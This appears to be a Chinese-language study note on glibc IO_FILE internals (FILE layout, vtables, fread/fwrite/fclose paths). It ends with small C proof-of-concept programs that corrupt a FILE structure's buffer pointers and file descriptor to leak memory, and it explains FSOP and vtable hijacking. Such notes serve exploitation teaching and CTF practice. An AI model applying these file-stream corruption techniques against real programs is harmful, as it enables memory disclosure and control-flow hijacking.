IO FILE
FILE,fopen,fread等函数是glibc为c读写文件准备的数据结构和函数
linux操作系统也提供了open
,read
等一系列文件操作函数
两者的区别是,linux这一套系统调用基于文件描述符fd
,
但是glibc文件io这一套基于文件指针_IO_FILE*
,指向一个FILE
对象,这个对象中包装着文件描述符fd
datastructure
FILE相关的声明在
1 2 glibc2.27/libio/libioP.h glibc2.27/libio/bits/libio.h
FILE
实际上是_IO_FILE
的别名,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 pwndbg> ptype/ox struct _IO_FILE /* offset | size */ type = struct _IO_FILE { int _flags; char *_IO_read_ptr; char *_IO_read_end; char *_IO_read_base; char *_IO_write_base; char *_IO_write_ptr; char *_IO_write_end; char *_IO_buf_base; char *_IO_buf_end; char *_IO_save_base; char *_IO_backup_base; char *_IO_save_end; struct _IO_marker *_markers ; struct _IO_FILE *_chain ; int _fileno; int _flags2; __off_t _old_offset; unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1 ]; _IO_lock_t *_lock; __off64_t _offset; struct _IO_codecvt *_codecvt ; struct _IO_wide_data *_wide_data ; struct _IO_FILE *_freeres_list ; void *_freeres_buf; size_t __pad5; int _mode; char _unused2[20 ]; }
在x86_64
上,FILE
结构体大小为0xd8
1 2 gef➤ p sizeof (FILE) $5 = 0xd8
在glibc中保存了一个全局指针_IO_list_all
它指向程序第一个IO_FILE
结构体,也就是stderr
1 2 3 4 5 6 7 8 9 gef➤ ptype _IO_list_all type = struct _IO_FILE_plus { _IO_FILE file; const struct _IO_jump_t *vtable ; } * gef➤ p &_IO_list_all $7 = (struct _IO_FILE_plus **) 0x7ffff7dd3660 <__GI__IO_list_all> gef➤ p _IO_list_all $8 = (struct _IO_FILE_plus *) 0x7ffff7dd3680 <_IO_2_1_stderr_>
实际上打印其类型时发现并不是一个_IO_FILE
,而是一个_IO_FILE_plus
,这两者是包含关系
1 2 3 4 5 struct _IO_FILE_plus { _IO_FILE file; const struct _IO_jump_t *vtable; };
stderr,stdout,stdin
,实际上就是三个FILE
image-20240924184530135
algorithm
fopen
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 fopen _IO_new_fopen @glibc-2.27 /libio/iofopen.c:87 ->__fopen_internal @glibc-2.27 /libio/iofopen.c:56 new_f = malloc (sizeof (struct locked_FILE)); _IO_JUMPS ->_IO_new_file_init_internal @glibc-2.27 /libio/fileops.c:106 ->_IO_link_in @glibc-2.27 /libio/genops.c:86 fp->file._chain = (_IO_FILE *) _IO_list_all; _IO_list_all = fp; ->_IO_new_file_fopen @glibc-2.27 /libio/fileops.c:212 语法分析打开模式(rwa/+xbmce) ->_IO_file_open @glibc-2.27 /libio/fileops.c:181 ->file._fileno = open() 使用系统调用,返回文件描述符 ->_IO_link_in 如果_IO_new_file_fopen返回了文件指针fp,说明打开文件成功 否则->_IO_un_link 下链然后 free (new_f)
file = fopen
fread
1 _IO_fread (void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp);
从fp指向的文件,
每次读取size宽度的数据,读取count个单位的数据,到缓冲区buf,
返回实际读取字节数
申请缓冲区
fread包装了read系统调用, 在堆块上建立缓冲区,
一次性使用read读取大量数据到缓冲区,减少多次调用read造成的上下文切换和io开销
第一次调用fread函数,_IO_file_xsgetn首先判断当前FILE是否有缓冲区,如果没有则申请一个,会在堆上要0x1000个字节的堆块,也就是1K的堆块作为缓冲区
1 2 3 4 5 6 7 8 9 10 11 12 _IO_fread @glibc2.27 /libio/iofread.c:30 ->_IO_sgetn ->_IO_file_xsgetn @glibc2.27 /libio/fileops.c:1294 ->_IO_doallocbuf ->_IO_file_doallocate @glibc2.27 /libio/filedoalloc.c:77 ->p=malloc (0x1000 ) ->_IO_setb(_IO_FILE *f=fp, char *b=p, char *eb=p+0x1000 , int a=1 ) @glibc2.27 /libio/genops.c: 346 如果fp之前有缓冲区,现在要喜新厌旧了 fp->_IO_buf_base=b fp->_IO_buf_end=eb if (a == 1 ) f->_flags &= ~_IO_USER_BUF;
申请缓冲区这部分代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 _IO_size_t _IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n) { if (fp->_IO_buf_base == NULL ) { if (fp->_IO_save_base != NULL ) { free (fp->_IO_save_base); fp->_flags &= ~_IO_IN_BACKUP; } _IO_doallocbuf (fp); } ...
申请完了后开始读取
读取数据
读取的逻辑是这样的:
1 2 3 4 5 6 7 8 //have表示当前缓冲区中,剩余字节数 //want表示还剩多少字节需要读,当want降为0时意味着满足了需求 如果缓冲区余料多于需求,则直接满足 否则 如果一整个缓冲区的大小足够want则先放到缓冲区然后满足 否则也就是说一整个缓冲区大小都不够,此时缓冲没有意义了,直接全系统调用满足
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 _IO_size_t _IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n) { _IO_size_t want, have; _IO_ssize_t count; char *s = data; want = n; while (want > 0 ) { have = fp->_IO_read_end - fp->_IO_read_ptr; if (want <= have){ memcpy (s, fp->_IO_read_ptr, want); fp->_IO_read_ptr += want; want = 0 ; } else { if (have > 0 ){ s = __mempcpy (s, fp->_IO_read_ptr, have); want -= have; fp->_IO_read_ptr += have; } if (_IO_in_backup (fp)){ _IO_switch_to_main_get_area (fp); continue ; } if (fp->_IO_buf_base && want < (size_t ) (fp->_IO_buf_end - fp->_IO_buf_base)){ if (__underflow (fp) == EOF) break ; continue ; } _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base); _IO_setp (fp, fp->_IO_buf_base, fp->_IO_buf_base); count = want; if (fp->_IO_buf_base){ _IO_size_t block_size = fp->_IO_buf_end - fp->_IO_buf_base; if (block_size >= 128 ) count -= want % block_size; } count = _IO_SYSREAD (fp, s, count); if (count <= 0 ){ if (count == 0 ) fp->_flags |= _IO_EOF_SEEN; else fp->_flags |= _IO_ERR_SEEN; break ; } s += count; want -= count; if (fp->_offset != _IO_pos_BAD) _IO_pos_adjust (fp->_offset, count); } } return n - want; }
underflow
1 2 3 4 5 6 __underflow @ ->_IO_new_file_underflow @fileops.c:469 指针复位 ->_IO_file_read ->_IO_new_file_underflow ->__read(fp->_fileno, buf, size)
fread调用的underflow和fwrite调用的overflow是一对兄弟函数
underflow意思是从文件往缓冲区载入数据,维持读缓冲区满
overflow意思是从缓冲区向文件写入数据,维持写缓冲区空
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 int __underflow (FILE *fp) { if (_IO_vtable_offset (fp) == 0 && _IO_fwide (fp, -1 ) != -1 ) return EOF; if (fp->_mode == 0 ) _IO_fwide (fp, -1 ); if (_IO_in_put_mode (fp)) if (_IO_switch_to_get_mode (fp) == EOF) return EOF; if (fp->_IO_read_ptr < fp->_IO_read_end) return *(unsigned char *) fp->_IO_read_ptr; if (_IO_in_backup (fp)) { _IO_switch_to_main_get_area (fp); if (fp->_IO_read_ptr < fp->_IO_read_end) return *(unsigned char *) fp->_IO_read_ptr; } if (_IO_have_markers (fp)) { if (save_for_backup (fp, fp->_IO_read_end)) return EOF; } else if (_IO_have_backup (fp)) _IO_free_backup_area (fp); return _IO_UNDERFLOW (fp); }
_IO_UNDERFLOW
实际上调用的_IO_new_file_underflow
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 int _IO_new_file_underflow(FILE *fp){ ssize_t count; if (fp->_flags & _IO_EOF_SEEN) return EOF; if (fp->_flags & _IO_NO_READS) { fp->_flags |= _IO_ERR_SEEN; __set_errno(EBADF); return EOF; } if (fp->_IO_read_ptr < fp->_IO_read_end) return *(unsigned char *)fp->_IO_read_ptr; if (fp->_IO_buf_base == NULL ) { if (fp->_IO_save_base != NULL ) { free (fp->_IO_save_base); fp->_flags &= ~_IO_IN_BACKUP; } _IO_doallocbuf(fp); } if (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED)) { _IO_acquire_lock(stdout ); if ((stdout ->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF)) == (_IO_LINKED | _IO_LINE_BUF)) _IO_OVERFLOW(stdout , EOF); _IO_release_lock(stdout ); } _IO_switch_to_get_mode(fp); fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base; fp->_IO_read_end = fp->_IO_buf_base; fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end = fp->_IO_buf_base; count = _IO_SYSREAD(fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base); if (count <= 0 ) { if (count == 0 ) fp->_flags |= _IO_EOF_SEEN; else fp->_flags |= _IO_ERR_SEEN, count = 0 ; } fp->_IO_read_end += count; if (count == 0 ) { fp->_offset = _IO_pos_BAD; return EOF; } if (fp->_offset != _IO_pos_BAD) _IO_pos_adjust(fp->_offset, count); return *(unsigned char *)fp->_IO_read_ptr; }
vtable何时发挥作用?
1 2 3 _IO_fread @glibc2.27 /libio/iofread.c:30 ->_IO_sgetn ->_IO_file_xsgetn @glibc2.27 /libio/fileops.c:1294
从_IO_sgetn
调用_IO_file_xsgetn
时首先需要‘调用’_IO_XSGETN
,这实际上是一个宏定义
1 2 3 4 5 6 size_t _IO_sgetn (FILE *fp, void *data, size_t n) { return _IO_XSGETN (fp, data, n); }
1 2 3 4 5 6 7 8 #define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N) #define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2) #define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS))) #define _IO_JUMPS_FILE_plus(THIS) \ _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)
如果展开这个宏
1 2 3 4 5 6 7 8 9 10 11 12 13 _IO_XSGETN(FP, DATA, N) = JUMP2 (__xsgetn, FP, DATA, N) = (_IO_JUMPS_FUNC(FP)->__xsgetn) (FP, DATA, N) = (IO_validate_vtable (_IO_JUMPS_FILE_plus (FP))->__xsgetn) (FP, DATA, N) = (IO_validate_vtable (_IO_CAST_FIELD_ACCESS ((FP), struct _IO_FILE_plus, vtable))->__xsgetn) (FP, DATA, N) = (IO_validate_vtable (FP->vtable)[__xsgetn] ) (FP, DATA, N) IO_validate_vtable接受一个vtable指针,原封不动地返回,只对这个vtable做一些校验 =(FP->vtable)[__xsgetn](FP, DATA, N) __xsgetn可以理解为偏移量或者枚举值 fp的vtable表中偏移量为__xsgetn处就是_IO_file_xsgetn =_IO_file_xsgetn (FP, DATA, N)
还有一种思路是保持真表不变,但是篡改真表上的函数指针
但是前提是真表所在的内存区块可写
然而事实上不可写
1 2 3 4 5 6 7 8 9 10 pwndbg> p _IO_list_all.vtable $5 = (const struct _IO_jump_t *) 0x7ffff7dd06e0 <_IO_file_jumps> pwndbg> info target ... 0x00007ffff7dcd900 - 0x00007ffff7dd0ba0 is .data.rel.ro in /lib/x86_64-linux-gnu/libc.so.6 ... pwndbg> lm ... 0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so ...
只可读
因此只能考虑当_IO_list_all
位于堆区时,修改其vtable指针指向假表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 pwndbg> p _IO_list_all $25 = (struct _IO_FILE_plus *) 0x602010 pwndbg> p *_IO_list_all $26 = { file = { _flags = -72539000, _IO_read_ptr = 0x0, _IO_read_end = 0x0, _IO_read_base = 0x0, _IO_write_base = 0x0, _IO_write_ptr = 0x0, _IO_write_end = 0x0, _IO_buf_base = 0x0, _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7ffff7dd2540 <_IO_2_1_stderr_>, _fileno = 3, _flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "", _lock = 0x6020f0, _offset = -1, _codecvt = 0x0, _wide_data = 0x602100, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = 0, _unused2 = '\000' <repeats 19 times> }, vtable = 0x7ffff7dd06e0 <_IO_file_jumps> } pwndbg> x/30gx file 0x602010: 0x00000000fbad2488 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000000 0x602050: 0x0000000000000000 0x0000000000000000 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x00007ffff7dd2540 0x602080: 0x0000000000000003 0x0000000000000000 0x602090: 0x0000000000000000 0x00000000006020f0 0x6020a0: 0xffffffffffffffff 0x0000000000000000 0x6020b0: 0x0000000000602100 0x0000000000000000 0x6020c0: 0x0000000000000000 0x0000000000000000 0x6020d0: 0x0000000000000000 0x0000000000000000 0x6020e0: 0x0000000000000000 0x00007ffff7dd06e0 //此处为vtable指针 0x6020f0: 0x0000000000000000 0x0000000000000000 pwndbg> lm LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x400000 0x401000 r-xp 1000 0 /home/dustball/2018_hctf_the_end/main 0x600000 0x601000 r--p 1000 0 /home/dustball/2018_hctf_the_end/main 0x601000 0x602000 rw-p 1000 1000 /home/dustball/2018_hctf_the_end/main 0x602000 0x623000 rw-p 21000 0 [heap]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 flowchart LR subgraph stack["stack"] subgraph main ["main frame"] filepointer["FILE* file"] style filepointer fill:RED end end subgraph glibcdata ["glibc memory"] subgraph table ["_IO_file_jumps"] __xsputn["__xsputn"] __xsgetn["__xsgetn"] etc["..."] style __xsputn fill:RED style __xsgetn fill:RED style etc fill:RED end style table fill:GREEN xsputn["_IO_new_file_xsputn"] xsgetn["__GI__IO_file_xsgetn"] style xsputn fill:YELLOW style xsgetn fill:YELLOW subgraph plus1["_IO_FILE_plus"] stderr["struct FILE stderr"] vtable1["vtable"] end subgraph plus2["_IO_FILE_plus"] stdout["struct FILE stdout"] vtable2["vtable"] end subgraph plus3["_IO_FILE_plus"] stdin["struct FILE stdin"] vtable3["vtable"] end listhead["_IO_list_all"] style listhead fill:RED style vtable1 fill:RED style vtable2 fill:RED style vtable3 fill:RED style stderr fill:GREEN style stdout fill:GREEN style stdin fill:GREEN style plus1 fill:GREEN style plus2 fill:GREEN style plus3 fill:GREEN end subgraph heap ["heap"] subgraph plus ["_IO_FILE_plus"] file["struct FILE file"] vtable["vtable"] style file fill:GREEN style vtable fill:RED end style plus fill:GREEN end filepointer-->file vtable---->table file--chain-->stderr--chain-->stdout--chain-->stdin--chain-->null __xsputn-->xsputn __xsgetn-->xsgetn listhead-->plus1 subgraph example ["图例"] function["函数"] style function fill:YELLOW struct["对象"] style struct fill:GREEN pointer["指针"] style pointer fill:RED end style example fill:GRAY
综上,fopen的作用是,创建一个新的_IO_FILE_plus
结构体(包括FILE和vtable两部分)并初始化之,然后头插法将其链接到_IO_list_all
链表上
fwrite
1 size_t fwrite (const void *ptr, size_t size, size_t nmemb, FILE *stream)
把 ptr 所指向的数组中的数据写入到给定流
stream 中。
写入size
大小的单位nmemb
个
实际上调用跳转表函数vtable.__xsputn
整个调用过程链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 flowchart TB fwrite[fwrite] _IO_fwrite[_IO_fwrite @ glibc-2.38/libio/iofwrite.c:32] _IO_file_xsputn[_IO_new_file_xsputn @ glibc-2.38/libio/fileops.c:1197] _IO_file_overflow[ _IO_new_file_overflow @ glibc-2.38/libio/fileops.c:733 也会调用_IO_do_write将现有的缓冲区写入文件 然后缓冲区指针复位 ] _IO_do_write[_IO_new_do_write @ glibc-2.38/libio/fileops.c:425] new_do_write[ new_do_write @ glibc-2.38/libio/fileops.c:431 read缓冲区三个指针全等于_IO_buf_base write缓冲区base和ptr指向_IO_buf_base, end指针指向 ] write["__write(f->_fileno,data,to_do)"] _IO_file_write[_IO_new_file_write @ glibc-2.38/libio/fileops.c:1173] fwrite--"_IO_sputn"-->_IO_fwrite _IO_fwrite-->_IO_file_xsputn _IO_file_xsputn--"_IO_OVERFLOW"-->_IO_file_overflow _IO_file_xsputn-->_IO_do_write _IO_do_write-->new_do_write new_do_write--"_IO_SYSWRITE"-->_IO_file_write _IO_file_write-->write
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 size_t _IO_fwrite (const void *buf, size_t size, size_t count, FILE *fp) { size_t request = size * count; size_t written = 0 ; CHECK_FILE (fp, 0 ); if (request == 0 ) return 0 ; _IO_acquire_lock (fp); if (_IO_vtable_offset (fp) != 0 || _IO_fwide (fp, -1 ) == -1 ) written = _IO_sputn (fp, (const char *) buf, request); _IO_release_lock (fp); if (written == request || written == EOF) return count; else return written / size; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 size_t _IO_new_file_xsputn (FILE *f, const void *data, size_t n) { const char *s = (const char *) data; size_t to_do = n; int must_flush = 0 ; size_t count = 0 ; if (n <= 0 ) return 0 ; if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING)) { count = f->_IO_buf_end - f->_IO_write_ptr; if (count >= n) { const char *p; for (p = s + n; p > s; ) { if (*--p == '\n' ) { count = p - s + 1 ; must_flush = 1 ; break ; } } } } else if (f->_IO_write_end > f->_IO_write_ptr) count = f->_IO_write_end - f->_IO_write_ptr; if (count > 0 ) { if (count > to_do) count = to_do; f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count); s += count; to_do -= count; } if (to_do + must_flush > 0 ) { size_t block_size, do_write; if (_IO_OVERFLOW (f, EOF) == EOF) return to_do == 0 ? EOF : n - to_do; block_size = f->_IO_buf_end - f->_IO_buf_base; do_write = to_do - (block_size >= 128 ? to_do % block_size : 0 ); if (do_write) { count = new_do_write (f, s, do_write); to_do -= count; if (count < do_write) return n - to_do; } if (to_do) to_do -= _IO_default_xsputn (f, s+do_write, to_do); } return n - to_do; }
_IO_OVERFLOW
这个宏实际上也是调用vtable[overflow]函数实现的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 int _IO_new_file_overflow (FILE *f, int ch) { if (f->_flags & _IO_NO_WRITES) { f->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return EOF; } if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL ) { if (f->_IO_write_base == NULL ) { _IO_doallocbuf (f); _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base); } if (__glibc_unlikely (_IO_in_backup (f))) { size_t nbackup = f->_IO_read_end - f->_IO_read_ptr; _IO_free_backup_area (f); f->_IO_read_base -= MIN (nbackup, f->_IO_read_base - f->_IO_buf_base); f->_IO_read_ptr = f->_IO_read_base; } if (f->_IO_read_ptr == f->_IO_buf_end) f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base; f->_IO_write_ptr = f->_IO_read_ptr; f->_IO_write_base = f->_IO_write_ptr; f->_IO_write_end = f->_IO_buf_end; f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end; f->_flags |= _IO_CURRENTLY_PUTTING; if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED)) f->_IO_write_end = f->_IO_write_ptr; } if (ch == EOF) return _IO_do_write (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base); if (f->_IO_write_ptr == f->_IO_buf_end ) if (_IO_do_flush (f) == EOF) return EOF; *f->_IO_write_ptr++ = ch; if ((f->_flags & _IO_UNBUFFERED) || ((f->_flags & _IO_LINE_BUF) && ch == '\n' )) if (_IO_do_write (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base) == EOF) return EOF; return (unsigned char ) ch; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 static size_t new_do_write (FILE *fp, const char *data, size_t to_do) { size_t count; if (fp->_flags & _IO_IS_APPENDING) fp->_offset = _IO_pos_BAD; else if (fp->_IO_read_end != fp->_IO_write_base) { off64_t new_pos = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1 ); if (new_pos == _IO_pos_BAD) return 0 ; fp->_offset = new_pos; } count = _IO_SYSWRITE (fp, data, to_do); if (fp->_cur_column && count) fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1 , data, count) + 1 ; _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base); fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base; fp->_IO_write_end = (fp->_mode <= 0 && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED)) ? fp->_IO_buf_base : fp->_IO_buf_end); return count; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 size_t _IO_default_xsputn (FILE *f, const void *data, size_t n) { const char *s = (char *) data; size_t more = n; if (more <= 0 ) return 0 ; for (;;) { if (f->_IO_write_ptr < f->_IO_write_end) { size_t count = f->_IO_write_end - f->_IO_write_ptr; if (count > more) count = more; if (count > 20 ) { f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count); s += count; } else if (count) { char *p = f->_IO_write_ptr; ssize_t i; for (i = count; --i >= 0 ; ) *p++ = *s++; f->_IO_write_ptr = p; } more -= count; } if (more == 0 || _IO_OVERFLOW (f, (unsigned char ) *s++) == EOF) break ; more--; } return n - more; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 pwndbg> p *f $4 = { _flags = 2048 , _IO_read_ptr = 0x0 , _IO_read_end = 0x404038 <flag> "flag{secret}" , _IO_read_base = 0x0 , _IO_write_base = 0x404038 <flag> "flag{secret}" , _IO_write_ptr = 0x405038 <error: Cannot access memory at address 0x405038 >, _IO_write_end = 0x0 , _IO_buf_base = 0x0 , _IO_buf_end = 0x0 , _IO_save_base = 0x0 , _IO_backup_base = 0x0 , _IO_save_end = 0x0 , _markers = 0x0 , _chain = 0x0 , _fileno = 1 , _flags2 = 0 , _old_offset = 0 , _cur_column = 0 , _vtable_offset = 0 '\000' , _shortbuf = "" , _lock = 0x1458790 , _offset = -1 , _codecvt = 0x0 , _wide_data = 0x14587a0 , _freeres_list = 0x0 , _freeres_buf = 0x0 , __pad5 = 0 , _mode = -1 , _unused2 = '\000' <repeats 19 times> }
fclose
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 flose(_IO_new_fclose@glibc-2.23/libio/iofclose.c:38) ->_IO_un_link@glibc-2.23/libio/genops.c:58 //从_IO_list_all为首的单向链表上遍历找到并拆下这个_IO_FILE_plus, ->_IO_file_close_it@glibc-2.23/libio/fileops.c:157 ->_IO_do_flush //缓冲区还有东西没打印出来,都给打出来 ->_IO_do_write ->new_do_write ->vtable.__write ->write(linux api) ->_IO_un_link //这一次重复调用好像是多余的,可能防止之前有什么差错? ->vtable.__finish(_IO_new_file_finish) ->_IO_do_flush //第二次调用 ... ->__close ->_IO_file_close_it //第二次调用 ->_IO_default_finish ->free //释放对上占用的内存 ->_IO_un_link //第三次调用
exploit
泄露
篡改fp的写缓冲区指针指向需要泄露的地址,
并篡改fp的文件描述符为标准输出, 触发一个缓冲区刷新, 即可打印泄露
1 size_t fwrite (const void *ptr, size_t size, size_t nmemb, FILE *stream)
把 ptr 所指向的数组中的数据写入到给定流
stream 中。
写入size
大小的单位nmemb
个
写一个poc
意思意思
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #include <stdio.h> #include <fcntl.h> char secret[]="this is a secret" ;int main () { printf ("flag @ %p\n" ,secret); char buffer[0x100 ]; FILE *fp; fp = fopen("./flag" , "w" ); fp->_flags = 0x800 ; fp->_IO_write_base = secret; fp->_IO_read_end = secret; fp->_IO_write_ptr = secret + sizeof (secret); fp->_fileno = 1 ; fwrite(buffer,0x100 ,0x1 ,fp); return 0 ; }
假设我们能够控制fp
指向的FILE
结构,并能改写其成员
我们希望通过设置fp->_IO_write_base = secret;
触发调用链
1 2 3 4 5 6 7 fwrite _IO_sputn => _IO_file_xsputn _IO_OVERFLOW => _IO_file_overflow => _IO_new_do_write => new_do_write => _IO_file_write => __write
从而打印secret
上的字符串
为了实现这一目的,还需要设置FILE
的几个参数
-1.fp = fopen("./flag", "w");
这个fp
要么以w
打开,要么手动设置其flag |= ~0x8
总之不能有_IO_NO_WRITES
,
这是因为_IO_file_overflow
最开始会检查该标志,
防止对不可写的文件进行写入操作
1 2 3 4 5 6 7 8 9 _IO_new_file_overflow (FILE *f, int ch) { if (f->_flags & _IO_NO_WRITES) { f->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return EOF; } ...
0.fp->_IO_write_base = secret;
最关键的一条,要泄露的地址
1.fp->_IO_write_ptr = secret + sizeof(secret);
与0紧密配合,_IO_OVERFLOW
会将位于write_base
和write_ptr
之间的内容刷新到缓冲区
要保证两者之间的距离大于flag长度
3.fp->_flags = 0x800;
1 fp->_flags = 0x800; //IO_CURRENTLY_PUTTING
这里是因为在函数_IO_file_overflow
中,如果不设置该标志会进入一个条件分支,修改我们预设的_IO_write_base
等一系列指针
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL ){ if (f->_IO_write_base == NULL ) { _IO_doallocbuf(f); _IO_setg(f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base); } if (__glibc_unlikely(_IO_in_backup(f))) { size_t nbackup = f->_IO_read_end - f->_IO_read_ptr; _IO_free_backup_area(f); f->_IO_read_base -= MIN(nbackup, f->_IO_read_base - f->_IO_buf_base); f->_IO_read_ptr = f->_IO_read_base; } if (f->_IO_read_ptr == f->_IO_buf_end) f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base; f->_IO_write_ptr = f->_IO_read_ptr; f->_IO_write_base = f->_IO_write_ptr; f->_IO_write_end = f->_IO_buf_end; f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end; f->_flags |= _IO_CURRENTLY_PUTTING; if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED)) f->_IO_write_end = f->_IO_write_ptr; }
4.fp->_IO_read_end = secret;
这条是为了绕过new_do_write
中的检查,
要么_flags
中有_IO_IS_APPENDING(0x1000)
标志,
要么fp->_IO_read_end == fp->_IO_write_base
才能避免_IO_SYSSEEK
的调用,因为_IO_SYSSEEK
调用后new_pos == _IO_pos_BA
,接下来就返回了
1 2 3 4 5 6 7 8 9 10 if (fp->_flags & _IO_IS_APPENDING) fp->_offset = _IO_pos_BAD; else if (fp->_IO_read_end != fp->_IO_write_base){ off64_t new_pos = _IO_SYSSEEK(fp, fp->_IO_write_base - fp->_IO_read_end, 1 ); if (new_pos == _IO_pos_BAD) return 0 ; fp->_offset = new_pos; }
因此将flags
置位_IO_IS_APPENDING
也可以
1 fp->_flags = 0x800 | 0x1000 ;
FSOP方法
如果没有fwrite调用,也可以考虑利用FSOP方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #include <stdio.h> #include <fcntl.h> char secret[]="flag{dustball}" ;int main () { printf ("flag @ %p\n" ,secret); char buffer[0x100 ]; FILE *fp; fp = fopen("./flag" , "w" ); fp->_flags = 0x800 | 0x1000 ; fp->_IO_write_base = secret; fp->_IO_write_ptr = secret + sizeof (secret); fp->_fileno = 1 ; return 0 ; }
任意地址写
写个poc意思意思
